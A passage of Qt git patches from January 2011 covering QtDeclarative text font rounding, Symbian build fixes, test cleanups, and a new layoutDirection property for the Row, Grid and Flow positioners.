d->font = font; - d->updateLayout(); + if (d->font.pointSizeF() != -1) { + // 0.5pt resolution + qreal size = qRound(d->font.pointSizeF()*2.0); + d->font.setPointSizeF(size/2.0); + } + + if (oldFont != d->font) + d->updateLayout(); - emit fontChanged(d->font); + emit fontChanged(d->sourceFont); } /*! diff --git a/src/declarative/graphicsitems/qdeclarativetext_p_p.h b/src/declarative/graphicsitems/qdeclarativetext_p_p.h index 67f2289..e749bc9 100644 --- a/src/declarative/graphicsitems/qdeclarativetext_p_p.h +++ b/src/declarative/graphicsitems/qdeclarativetext_p_p.h @@ -79,6 +79,7 @@ public: QString text; QFont font; + QFont sourceFont; QColor color; QDeclarativeText::TextStyle style; QColor styleColor; diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp index 675f8d9..42f66c3 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp @@ -326,22 +326,35 @@ void QDeclarativeTextEdit::setTextFormat(TextFormat format) QFont QDeclarativeTextEdit::font() const { Q_D(const QDeclarativeTextEdit); - return d->font; + return d->sourceFont; } void QDeclarativeTextEdit::setFont(const QFont &font) { Q_D(QDeclarativeTextEdit); + if (d->sourceFont == font) + return; + + d->sourceFont = font; + QFont oldFont = d->font; d->font = font; + if (d->font.pointSizeF() != -1) { + // 0.5pt resolution + qreal size = qRound(d->font.pointSizeF()*2.0); + d->font.setPointSizeF(size/2.0); + } - clearCache(); - d->document->setDefaultFont(d->font); - if(d->cursor){ - d->cursor->setHeight(QFontMetrics(d->font).height()); - moveCursorDelegate(); + if (oldFont != d->font) { + clearCache(); + d->document->setDefaultFont(d->font); + if(d->cursor){ + d->cursor->setHeight(QFontMetrics(d->font).height()); + moveCursorDelegate(); + } + updateSize(); + update(); } - updateSize(); - update(); + emit fontChanged(d->sourceFont); } /*! diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h index 68a9cc8..3a45541 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h @@ -92,6 +92,7 @@ public: QString text; QFont font; + QFont sourceFont; QColor color; QColor selectionColor; QColor selectedTextColor; diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp index 57a2177..ef3404f 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp @@ -213,24 +213,33 @@ void QDeclarativeTextInput::setText(const QString &s) QFont QDeclarativeTextInput::font() const { Q_D(const QDeclarativeTextInput); - return d->font; + return d->sourceFont; } void QDeclarativeTextInput::setFont(const QFont &font) { Q_D(QDeclarativeTextInput); - if (d->font == font) + if (d->sourceFont == font) return; + d->sourceFont = font; + QFont oldFont = d->font; d->font = font; + if (d->font.pointSizeF() != -1) { + // 0.5pt resolution + qreal size = qRound(d->font.pointSizeF()*2.0); + d->font.setPointSizeF(size/2.0); + } - d->control->setFont(d->font); - if(d->cursorItem){ - d->cursorItem->setHeight(QFontMetrics(d->font).height()); - moveCursor(); + if (oldFont != d->font) { + d->control->setFont(d->font); + if(d->cursorItem){ + d->cursorItem->setHeight(QFontMetrics(d->font).height()); + moveCursor(); + } + updateSize(); } - updateSize(); - emit fontChanged(d->font); + emit fontChanged(d->sourceFont); } /*! diff --git a/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h b/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h index 18e9c81..16827b3 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h @@ -107,6 +107,7 @@ public: QLineControl* control; QFont font; + QFont sourceFont; QColor color; QColor selectionColor; QColor selectedTextColor; -- cgit v0.12 From d5b5a1ef99dbe20ee9cb3833fb5095c2071c8b12 Mon Sep 17 00:00:00 2001 From: Rohan McGovern Date: Tue, 18 Jan 2011 11:38:55 +1000 Subject: tst_qhttp: replace legacy qt-test-server hostname in testdata. --- tests/auto/qhttp/tst_qhttp.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/auto/qhttp/tst_qhttp.cpp b/tests/auto/qhttp/tst_qhttp.cpp index f706228..61123c2 100644 --- a/tests/auto/qhttp/tst_qhttp.cpp +++ b/tests/auto/qhttp/tst_qhttp.cpp @@ -856,7 +856,7 @@ void tst_QHttp::proxy2() QTestEventLoop::instance().enterLoop(30); QVERIFY(!QTestEventLoop::instance().timeout()); - QCOMPARE(readyRead_ba.count("Welcome to fluke.troll.no"), 2); + QCOMPARE(readyRead_ba.count("Welcome to qt-test-server"), 2); readyRead_ba.clear(); } @@ -891,7 +891,7 @@ void tst_QHttp::proxy3() QTestEventLoop::instance().enterLoop(30); QVERIFY(!QTestEventLoop::instance().timeout()); - QCOMPARE(readyRead_ba.count("Welcome to fluke.troll.no"), 2); + QCOMPARE(readyRead_ba.count("Welcome to qt-test-server"), 2); readyRead_ba.clear(); } -- cgit v0.12 From ac2df91cf83918d1b247382fe75a30fafc1a896f Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Tue, 18 Jan 2011 11:51:55 +1000 Subject: Document TextInput::readOnly --- src/declarative/graphicsitems/qdeclarativetextinput.cpp | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp index bfdcc9b..e35032b 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp @@ -345,6 +345,16 @@ void QDeclarativeTextInput::setHAlign(HAlignment align) emit horizontalAlignmentChanged(d->hAlign); } +/*! + \qmlproperty bool TextInput::readOnly + + Sets whether user input can modify the contents of the TextInput. + + If readOnly is set to true, then user input will not affect the text + property. Any bindings or attempts to set the text property will still + work. +*/ + bool QDeclarativeTextInput::isReadOnly() const { Q_D(const QDeclarativeTextInput); -- cgit v0.12 From f503dc25886e556983fc1bf3efb2e15669f3507c Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Tue, 18 Jan 2011 13:47:17 +1000 Subject: Cleanup view at end of auto test. --- .../declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp | 3 +++ 1 file changed, 3 insertions(+) diff --git a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp index d7e6a60..88bff8a 100644 --- a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp +++ b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp @@ -619,6 +619,7 @@ void tst_qdeclarativetextinput::dragMouseSelection() QVERIFY(str2.length() > 3); QVERIFY(str1 != str2); // Verify the second press and drag is a new selection and doesn't not the first moved. + delete canvas; } void tst_qdeclarativetextinput::horizontalAlignment_data() @@ -1129,6 +1130,8 @@ void tst_qdeclarativetextinput::echoMode() input->setFocus(false); QVERIFY(input->hasActiveFocus() == false); QCOMPARE(input->displayText(), QLatin1String("Q")); + + delete canvas; } void tst_qdeclarativetextinput::simulateKey(QDeclarativeView *view, int key) -- cgit v0.12 From 9ef953a65a96b511aae2a4ba6db9579b5d23cc29 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Tue, 18 Jan 2011 13:37:56 +1000 Subject: Add a way to clear warnings in qmlviewer warnings window on Symbian Basically by adding a clear soft key to the currently empty right soft key in warninng window in qmlviewer. Task-number: Reviewed-by: Martin Jones --- tools/qml/loggerwidget.cpp | 5 +++++ tools/qml/qmlruntime.cpp | 4 +++- 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/tools/qml/loggerwidget.cpp b/tools/qml/loggerwidget.cpp index fb4fedc..e167c94 100644 --- a/tools/qml/loggerwidget.cpp +++ b/tools/qml/loggerwidget.cpp @@ -67,6 +67,11 @@ LoggerWidget::LoggerWidget(QWidget *parent) : m_plainTextEdit = new QPlainTextEdit(); #if defined(Q_OS_SYMBIAN) + QAction* clearAction = new QAction(tr("Clear"), this); + clearAction->setSoftKeyRole(QAction::PositiveSoftKey); + connect(clearAction, SIGNAL(triggered()), m_plainTextEdit, SLOT(clear())); + addAction(clearAction); + m_plainTextEdit->setReadOnly(true); QAction* backAction = new QAction( tr("Back"), this ); backAction->setSoftKeyRole( QAction::NegativeSoftKey ); diff --git a/tools/qml/qmlruntime.cpp b/tools/qml/qmlruntime.cpp index 31bb73b..586eaa5 100644 --- a/tools/qml/qmlruntime.cpp +++ b/tools/qml/qmlruntime.cpp @@ -781,9 +781,11 @@ void QDeclarativeViewer::createMenu() aboutAction->setMenuRole(QAction::AboutQtRole); connect(aboutAction, SIGNAL(triggered()), qApp, SLOT(aboutQt())); +#if !defined(Q_OS_SYMBIAN) QAction *closeAction = new QAction(tr("&Close"), this); closeAction->setShortcuts(QKeySequence::Close); connect(closeAction, SIGNAL(triggered()), this, SLOT(close())); +#endif QAction *quitAction = new QAction(tr("&Quit"), this); quitAction->setMenuRole(QAction::QuitRole); @@ -819,9 +821,9 @@ void QDeclarativeViewer::createMenu() fileMenu->addAction(openAction); fileMenu->addAction(openUrlAction); fileMenu->addAction(reloadAction); +#if !defined(Q_OS_SYMBIAN) fileMenu->addSeparator(); fileMenu->addAction(closeAction); -#if !defined(Q_OS_SYMBIAN) fileMenu->addAction(quitAction); QMenu *recordMenu = menu->addMenu(tr("&Recording")); -- cgit v0.12 From 9f6fd23fda43a5668d3fad398eb3e9d80cee9c44 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Tue, 18 Jan 2011 13:42:48 +1000 Subject: Fix QtDeclarative compilation warnings Task-number: Reviewed-by: Martin Jones --- src/declarative/graphicsitems/qdeclarativegridview.cpp | 8 -------- src/declarative/qml/qdeclarativeboundsignal.cpp | 2 +- src/declarative/qml/qdeclarativeenginedebug.cpp | 13 ++++++------- src/declarative/qml/qdeclarativescriptparser.cpp | 6 ------ src/declarative/util/qdeclarativeutilmodule.cpp | 2 +- 5 files changed, 8 insertions(+), 23 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp index 6e6e8c1..0bea638 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview.cpp +++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp @@ -2618,12 +2618,8 @@ void QDeclarativeGridView::itemsMoved(int from, int to, int count) return; QHash moved; - bool removedBeforeVisible = false; FxGridItem *firstItem = d->firstVisibleItem(); - if (from < to && from < d->visibleIndex && to > d->visibleIndex) - removedBeforeVisible = true; - QList::Iterator it = d->visibleItems.begin(); while (it != d->visibleItems.end()) { FxGridItem *item = *it; @@ -2632,16 +2628,12 @@ void QDeclarativeGridView::itemsMoved(int from, int to, int count) item->index += (to-from); moved.insert(item->index, item); it = d->visibleItems.erase(it); - if (item->rowPos() < firstItem->rowPos()) - removedBeforeVisible = true; } else { if (item->index > from && item->index != -1) { // move everything after the moved items. item->index -= count; if (item->index < d->visibleIndex) d->visibleIndex = item->index; - } else if (item->index != -1) { - removedBeforeVisible = true; } ++it; } diff --git a/src/declarative/qml/qdeclarativeboundsignal.cpp b/src/declarative/qml/qdeclarativeboundsignal.cpp index 030fb2c..0ac3f64 100644 --- a/src/declarative/qml/qdeclarativeboundsignal.cpp +++ b/src/declarative/qml/qdeclarativeboundsignal.cpp @@ -167,7 +167,7 @@ int QDeclarativeBoundSignal::qt_metacall(QMetaObject::Call c, int id, void **a) { if (c == QMetaObject::InvokeMetaMethod && id == evaluateIdx) { QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::HandlingSignal); - QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::HandlingSignal, QLatin1String(m_signal.signature()) + QLatin1String(": ") + (m_expression ? m_expression->expression() : "")); + QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::HandlingSignal, QLatin1String(m_signal.signature()) + QLatin1String(": ") + (m_expression ? m_expression->expression() : QLatin1String(""))); m_isEvaluating = true; if (!m_paramsValid) { if (!m_signal.parameterTypes().isEmpty()) diff --git a/src/declarative/qml/qdeclarativeenginedebug.cpp b/src/declarative/qml/qdeclarativeenginedebug.cpp index b6b4b49..0881003 100644 --- a/src/declarative/qml/qdeclarativeenginedebug.cpp +++ b/src/declarative/qml/qdeclarativeenginedebug.cpp @@ -539,7 +539,6 @@ void QDeclarativeEngineDebugServer::setBinding(int objectId, { QObject *object = objectForId(objectId); QDeclarativeContext *context = qmlContext(object); - QByteArray propertyNameArray = propertyName.toUtf8(); if (object && context) { QDeclarativeProperty property(object, propertyName, context); @@ -550,7 +549,7 @@ void QDeclarativeEngineDebugServer::setBinding(int objectId, foreach(QWeakPointer statePointer, m_allStates) { if (QDeclarativeState *state = statePointer.data()) { // here we assume that the revert list on itself defines the base state - if ( state->isStateActive() && state->containsPropertyInRevertList(object, propertyNameArray) ) { + if (state->isStateActive() && state->containsPropertyInRevertList(object, propertyName)) { inBaseState = false; QDeclarativeBinding *newBinding = 0; @@ -560,10 +559,10 @@ void QDeclarativeEngineDebugServer::setBinding(int objectId, newBinding->setNotifyOnValueChanged(true); } - state->changeBindingInRevertList(object,propertyNameArray, newBinding); + state->changeBindingInRevertList(object, propertyName, newBinding); if (isLiteralValue) - state->changeValueInRevertList(object, propertyNameArray, expression); + state->changeValueInRevertList(object, propertyName, expression); } } } @@ -592,9 +591,9 @@ void QDeclarativeEngineDebugServer::setBinding(int objectId, // not a valid property if (QDeclarativePropertyChanges *propertyChanges = dynamic_cast(object)) { if (isLiteralValue) { - propertyChanges->changeValue(propertyName.toUtf8(),expression); + propertyChanges->changeValue(propertyName, expression); } else { - propertyChanges->changeExpression(propertyName.toUtf8(),expression.toString()); + propertyChanges->changeExpression(propertyName, expression.toString()); } } else { qWarning() << "QDeclarativeEngineDebugServer::setBinding: unable to set property" << propertyName << "on object" << object; @@ -639,7 +638,7 @@ void QDeclarativeEngineDebugServer::resetBinding(int objectId, const QString &pr } } else { if (QDeclarativePropertyChanges *propertyChanges = dynamic_cast(object)) { - propertyChanges->removeProperty(propertyName.toUtf8()); + propertyChanges->removeProperty(propertyName); } } } diff --git a/src/declarative/qml/qdeclarativescriptparser.cpp b/src/declarative/qml/qdeclarativescriptparser.cpp index e32a3d2..ce6f943 100644 --- a/src/declarative/qml/qdeclarativescriptparser.cpp +++ b/src/declarative/qml/qdeclarativescriptparser.cpp @@ -170,12 +170,6 @@ private: StateStack _stateStack; QStringList _scope; QString _contents; - - inline bool isSignalProperty(const QByteArray &propertyName) const { - return (propertyName.length() >= 3 && propertyName.startsWith("on") && - ('A' <= propertyName.at(2) && 'Z' >= propertyName.at(2))); - } - }; ProcessAST::ProcessAST(QDeclarativeScriptParser *parser) diff --git a/src/declarative/util/qdeclarativeutilmodule.cpp b/src/declarative/util/qdeclarativeutilmodule.cpp index 5abf085..f32f390 100644 --- a/src/declarative/util/qdeclarativeutilmodule.cpp +++ b/src/declarative/util/qdeclarativeutilmodule.cpp @@ -76,7 +76,7 @@ void QDeclarativeUtilModule::defineModule() { - qmlRegisterUncreatableType("QtQuick",1,1,"Application", "Application is an abstract class"); + qmlRegisterUncreatableType("QtQuick",1,1,"Application", QDeclarativeApplication::tr("Application is an abstract class")); qmlRegisterType("QtQuick",1,0,"AnchorAnimation"); qmlRegisterType("QtQuick",1,0,"AnchorChanges"); -- cgit v0.12 From e46c44f9538dbe5b44ce61d3a42403cfa471ae8b Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Tue, 18 Jan 2011 14:16:47 +1000 Subject: Fix declarative autotest compilation on Symbian Task-number: Reviewed-by: Martin Jones --- src/declarative/qml/qdeclarativeglobal_p.h | 2 +- .../tst_qdeclarativepixmapcache.cpp | 12 ++++++++++++ tests/auto/declarative/qmlvisual/qmlvisual.pro | 2 +- tools/qml/qml.pri | 17 +++++++++++++---- tools/qml/qml.pro | 6 ------ 5 files changed, 27 insertions(+), 12 deletions(-) diff --git a/src/declarative/qml/qdeclarativeglobal_p.h b/src/declarative/qml/qdeclarativeglobal_p.h index 31fbb1e..b8428b8 100644 --- a/src/declarative/qml/qdeclarativeglobal_p.h +++ b/src/declarative/qml/qdeclarativeglobal_p.h @@ -65,7 +65,7 @@ QT_MODULE(Declarative) } #ifdef Q_OS_SYMBIAN -#define Q_DECLARATIVE_PRIVATE_EXPORT +#define Q_DECLARATIVE_PRIVATE_EXPORT Q_AUTOTEST_EXPORT #else #define Q_DECLARATIVE_PRIVATE_EXPORT Q_DECLARATIVE_EXPORT #endif diff --git a/tests/auto/declarative/qdeclarativepixmapcache/tst_qdeclarativepixmapcache.cpp b/tests/auto/declarative/qdeclarativepixmapcache/tst_qdeclarativepixmapcache.cpp index 50d0731..df7c694 100644 --- a/tests/auto/declarative/qdeclarativepixmapcache/tst_qdeclarativepixmapcache.cpp +++ b/tests/auto/declarative/qdeclarativepixmapcache/tst_qdeclarativepixmapcache.cpp @@ -47,6 +47,11 @@ #include "testhttpserver.h" #include "../../../shared/util.h" +#ifndef QT_NO_CONCURRENT +#include +#include +#endif + // These don't let normal people run tests! //#include "../network-settings.h" @@ -74,7 +79,10 @@ private slots: void massive(); void cancelcrash(); void shrinkcache(); +#ifndef QT_NO_CONCURRENT void networkCrash(); +#endif + private: QDeclarativeEngine engine; QUrl thisfile; @@ -354,6 +362,8 @@ void tst_qdeclarativepixmapcache::shrinkcache() } } +#ifndef QT_NO_CONCURRENT + void createNetworkServer() { QEventLoop eventLoop; @@ -378,6 +388,8 @@ void tst_qdeclarativepixmapcache::networkCrash() future.cancel(); } +#endif + QTEST_MAIN(tst_qdeclarativepixmapcache) #include "tst_qdeclarativepixmapcache.moc" diff --git a/tests/auto/declarative/qmlvisual/qmlvisual.pro b/tests/auto/declarative/qmlvisual/qmlvisual.pro index cb7e5d7..b2c5b4f 100644 --- a/tests/auto/declarative/qmlvisual/qmlvisual.pro +++ b/tests/auto/declarative/qmlvisual/qmlvisual.pro @@ -19,7 +19,7 @@ symbian: { qdeclarativepathview \ qdeclarativepositioners \ qdeclarativesmoothedanimation \ - qdeclarativespringfollow \ + qdeclarativespringanimation \ qdeclarativetext \ qdeclarativetextedit \ qdeclarativetextinput \ diff --git a/tools/qml/qml.pri b/tools/qml/qml.pri index 5db7678..08cd506 100644 --- a/tools/qml/qml.pri +++ b/tools/qml/qml.pri @@ -19,10 +19,18 @@ SOURCES += $$PWD/qmlruntime.cpp \ RESOURCES = $$PWD/browser/browser.qrc \ $$PWD/startup/startup.qrc -symbian:!contains(S60_VERSION, 3.1):!contains(S60_VERSION, 3.2) { - SOURCES += $$PWD/deviceorientation_symbian.cpp - FORMS = $$PWD/recopts.ui \ - $$PWD/proxysettings.ui +symbian: { + contains(QT_CONFIG, s60): { + LIBS += -lavkon -lcone + } + !contains(S60_VERSION, 3.1):!contains(S60_VERSION, 3.2) { + LIBS += -lsensrvclient -lsensrvutil + } + !contains(S60_VERSION, 3.1):!contains(S60_VERSION, 3.2): { + SOURCES += $$PWD/deviceorientation_symbian.cpp + FORMS = $$PWD/recopts.ui \ + $$PWD/proxysettings.ui + } } else:maemo5 { QT += dbus HEADERS += $$PWD/texteditautoresizer_maemo5.h @@ -39,3 +47,4 @@ symbian:!contains(S60_VERSION, 3.1):!contains(S60_VERSION, 3.2) { FORMS = $$PWD/recopts.ui \ $$PWD/proxysettings.ui } + diff --git a/tools/qml/qml.pro b/tools/qml/qml.pro index 9b07ebe..5d6192d 100644 --- a/tools/qml/qml.pro +++ b/tools/qml/qml.pro @@ -37,12 +37,6 @@ symbian { include($$QT_SOURCE_TREE/demos/symbianpkgrules.pri) TARGET.EPOCHEAPSIZE = 0x20000 0x4000000 TARGET.CAPABILITY = NetworkServices ReadUserData - !contains(S60_VERSION, 3.1):!contains(S60_VERSION, 3.2) { - LIBS += -lsensrvclient -lsensrvutil - } - contains(QT_CONFIG, s60): { - LIBS += -lavkon -lcone - } # Deploy plugin for remote debugging qmldebuggingplugin.sources = $$QT_BUILD_TREE/plugins/qmldebugging/tcpserver$${QT_LIBINFIX}.dll -- cgit v0.12 From ec6a1c33a930e38cb22efd9fa268d80329745062 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Tue, 18 Jan 2011 14:52:01 +1000 Subject: Implement layoutDirection property on Row, Grid, Flow Task-number: QTBUG-11042 Reviewed-by: Joona Petrell --- .../graphicsitems/qdeclarativeitemsmodule.cpp | 3 + .../graphicsitems/qdeclarativepositioners.cpp | 214 ++++++++++-- .../graphicsitems/qdeclarativepositioners_p.h | 20 ++ .../data/flow-testimplicitsize.qml | 9 +- .../data/flowtest-toptobottom.qml | 44 +++ .../qdeclarativepositioners/data/flowtest.qml | 5 +- .../qdeclarativepositioners/data/grid-animated.qml | 5 +- .../data/grid-righttoleft.qml | 41 +++ .../data/horizontal-animated.qml | 5 +- .../data/horizontal-spacing.qml | 5 +- .../qdeclarativepositioners/data/horizontal.qml | 5 +- .../tst_qdeclarativepositioners.cpp | 380 ++++++++++++++++++++- 12 files changed, 705 insertions(+), 31 deletions(-) create mode 100644 tests/auto/declarative/qdeclarativepositioners/data/flowtest-toptobottom.qml create mode 100644 tests/auto/declarative/qdeclarativepositioners/data/grid-righttoleft.qml diff --git a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp index 529686e..32c71dd 100644 --- a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp @@ -182,6 +182,9 @@ void QDeclarativeItemModule::defineModule() qmlRegisterType("QtQuick",1,1,"Flickable"); qmlRegisterType("QtQuick",1,1,"ListView"); qmlRegisterType("QtQuick",1,1,"GridView"); + qmlRegisterType("QtQuick",1,1,"Row"); + qmlRegisterType("QtQuick",1,1,"Grid"); + qmlRegisterType("QtQuick",1,1,"Flow"); qmlRegisterType("QtQuick",1,1,"Repeater"); qmlRegisterType("QtQuick",1,1,"TextEdit"); #ifndef QT_NO_LINEEDIT diff --git a/src/declarative/graphicsitems/qdeclarativepositioners.cpp b/src/declarative/graphicsitems/qdeclarativepositioners.cpp index e2a373f..c4b35a8 100644 --- a/src/declarative/graphicsitems/qdeclarativepositioners.cpp +++ b/src/declarative/graphicsitems/qdeclarativepositioners.cpp @@ -574,21 +574,55 @@ void QDeclarativeColumn::reportConflictingAnchors() \sa Grid::spacing */ QDeclarativeRow::QDeclarativeRow(QDeclarativeItem *parent) -: QDeclarativeBasePositioner(Horizontal, parent) +: QDeclarativeBasePositioner(Horizontal, parent), m_layoutDirection(Qt::LeftToRight) { } +/*! + \qmlproperty enumeration Row::layoutDirection + This property holds the layoutDirection of the row. + + Possible values: + + \list + \o Qt.LeftToRight (default) - Items are laid out from left to right. If the width of the row is explicitly set, + the left anchor remains to the left of the row. + \o Qt.RightToLeft - Items are laid out from right to left. If the width of the row is explicitly set, + the right anchor remains to the right of the row. + \endlist + + \sa Grid::layoutDirection, Flow::layoutDirection +*/ +Qt::LayoutDirection QDeclarativeRow::layoutDirection() const +{ + return m_layoutDirection; +} + +void QDeclarativeRow::setLayoutDirection(Qt::LayoutDirection layoutDirection) +{ + if (m_layoutDirection != layoutDirection) { + m_layoutDirection = layoutDirection; + prePositioning(); + emit layoutDirectionChanged(); + } +} + void QDeclarativeRow::doPositioning(QSizeF *contentSize) { int hoffset = 0; + int hoffsets[positionedItems.count()]; for (int ii = 0; ii < positionedItems.count(); ++ii) { const PositionedItem &child = positionedItems.at(ii); if (!child.item || !child.isVisible) continue; - if(child.item->x() != hoffset) - positionX(hoffset, child); + if(m_layoutDirection == Qt::LeftToRight){ + if(child.item->x() != hoffset) + positionX(hoffset, child); + }else{ + hoffsets[ii] = hoffset; + } contentSize->setHeight(qMax(contentSize->height(), QGraphicsItemPrivate::get(child.item)->height())); @@ -597,6 +631,25 @@ void QDeclarativeRow::doPositioning(QSizeF *contentSize) } contentSize->setWidth(hoffset - spacing()); + + if(m_layoutDirection == Qt::LeftToRight) + return; + + //Right to Left layout + int end = 0; + if(!widthValid()) + end = contentSize->width(); + else + end = width(); + + for (int ii = 0; ii < positionedItems.count(); ++ii) { + const PositionedItem &child = positionedItems.at(ii); + if (!child.item || !child.isVisible) + continue; + hoffset = end - hoffsets[ii] - QGraphicsItemPrivate::get(child.item)->width(); + if(child.item->x() != hoffset) + positionX(hoffset, child); + } } void QDeclarativeRow::reportConflictingAnchors() @@ -732,7 +785,7 @@ void QDeclarativeRow::reportConflictingAnchors() \sa rows, columns */ QDeclarativeGrid::QDeclarativeGrid(QDeclarativeItem *parent) : - QDeclarativeBasePositioner(Both, parent), m_rows(-1), m_columns(-1), m_flow(LeftToRight) + QDeclarativeBasePositioner(Both, parent), m_rows(-1), m_columns(-1), m_flow(LeftToRight), m_layoutDirection(Qt::LeftToRight) { } @@ -780,7 +833,7 @@ void QDeclarativeGrid::setRows(const int rows) \list \o Grid.LeftToRight (default) - Items are positioned next to - to each other from left to right, then wrapped to the next line. + each other in the \l layoutDirection, then wrapped to the next line. \o Grid.TopToBottom - Items are positioned next to each other from top to bottom, then wrapped to the next column. \endlist @@ -799,6 +852,37 @@ void QDeclarativeGrid::setFlow(Flow flow) } } +/*! + \qmlproperty enumeration Grid::layoutDirection + This property holds the layout direction of the layout. + + Possible values are: + + \list + \o Qt.LeftToRight (default) - Items are positioned beginning + from the top, left anchor. The flow direction is dependent + on the \l Grid::flow property. + \o Qt.RightToLeft - Items are positioned beginning from the + top, right anchor. The flow direction is dependent on the + \l Grid::flow property. + \endlist + + \sa Flow::layoutDirection, Row::layoutDirection +*/ +Qt::LayoutDirection QDeclarativeGrid::layoutDirection() const +{ + return m_layoutDirection; +} + +void QDeclarativeGrid::setLayoutDirection(Qt::LayoutDirection layoutDirection) +{ + if (m_layoutDirection != layoutDirection) { + m_layoutDirection = layoutDirection; + prePositioning(); + emit layoutDirectionChanged(); + } +} + void QDeclarativeGrid::doPositioning(QSizeF *contentSize) { @@ -864,40 +948,71 @@ void QDeclarativeGrid::doPositioning(QSizeF *contentSize) } } + int widthSum = 0; + for(int j=0; j < c; j++){ + if(j) + widthSum += spacing(); + widthSum += maxColWidth[j]; + } + + int heightSum = 0; + for(int i=0; i < r; i++){ + if(i) + heightSum += spacing(); + heightSum += maxRowHeight[i]; + } + + contentSize->setHeight(heightSum); + contentSize->setWidth(widthSum); + + int end = 0; + if(widthValid()) + end = width(); + else + end = widthSum; + int xoffset=0; + if(m_layoutDirection == Qt::RightToLeft) + xoffset=end; int yoffset=0; int curRow =0; int curCol =0; for (int i = 0; i < visibleItems.count(); ++i) { const PositionedItem &child = visibleItems.at(i); - if((child.item->x()!=xoffset)||(child.item->y()!=yoffset)){ - positionX(xoffset, child); + int childXOffset = xoffset; + if(m_layoutDirection == Qt::RightToLeft) + childXOffset -= QGraphicsItemPrivate::get(child.item)->width(); + if((child.item->x()!=childXOffset)||(child.item->y()!=yoffset)){ + positionX(childXOffset, child); positionY(yoffset, child); } if (m_flow == LeftToRight) { - contentSize->setWidth(qMax(contentSize->width(), xoffset + QGraphicsItemPrivate::get(child.item)->width())); - contentSize->setHeight(yoffset + maxRowHeight[curRow]); - - xoffset+=maxColWidth[curCol]+spacing(); + if(m_layoutDirection == Qt::LeftToRight) + xoffset+=maxColWidth[curCol]+spacing(); + else + xoffset-=maxColWidth[curCol]+spacing(); curCol++; curCol%=c; if (!curCol){ yoffset+=maxRowHeight[curRow]+spacing(); - xoffset=0; + if(m_layoutDirection == Qt::LeftToRight) + xoffset=0; + else + xoffset=end; curRow++; if (curRow>=r) break; } } else { - contentSize->setHeight(qMax(contentSize->height(), yoffset + QGraphicsItemPrivate::get(child.item)->height())); - contentSize->setWidth(xoffset + maxColWidth[curCol]); - yoffset+=maxRowHeight[curRow]+spacing(); curRow++; curRow%=r; if (!curRow){ - xoffset+=maxColWidth[curCol]+spacing(); + if(m_layoutDirection == Qt::LeftToRight) + xoffset+=maxColWidth[curCol]+spacing(); + else + xoffset-=maxColWidth[curCol]+spacing(); yoffset=0; curCol++; if (curCol>=c) @@ -1029,10 +1144,12 @@ class QDeclarativeFlowPrivate : public QDeclarativeBasePositionerPrivate public: QDeclarativeFlowPrivate() - : QDeclarativeBasePositionerPrivate(), flow(QDeclarativeFlow::LeftToRight) + : QDeclarativeBasePositionerPrivate(), flow(QDeclarativeFlow::LeftToRight), + layoutDirection(Qt::LeftToRight) {} QDeclarativeFlow::Flow flow; + Qt::LayoutDirection layoutDirection; }; QDeclarativeFlow::QDeclarativeFlow(QDeclarativeItem *parent) @@ -1051,7 +1168,7 @@ QDeclarativeFlow::QDeclarativeFlow(QDeclarativeItem *parent) \list \o Flow.LeftToRight (default) - Items are positioned next to - to each other from left to right until the width of the Flow + to each other according to the \l layoutDirection until the width of the Flow is exceeded, then wrapped to the next line. \o Flow.TopToBottom - Items are positioned next to each other from top to bottom until the height of the Flow is exceeded, @@ -1074,6 +1191,39 @@ void QDeclarativeFlow::setFlow(Flow flow) } } +/*! + \qmlproperty enumeration Flow::layoutDirection + This property holds the layout direction of the layout. + + Possible values are: + + \list + \o Qt.LeftToRight (default) - Items are positioned beginning + from the top, left anchor. The flow direction is dependent + on the \l Flow::flow property. + \o Qt.RightToLeft - Items are positioned beginning from the + top, right anchor. The flow direction is dependent on the + \l Flow::flow property. + \endlist + + \sa Grid::layoutDirection, Row::layoutDirection +*/ 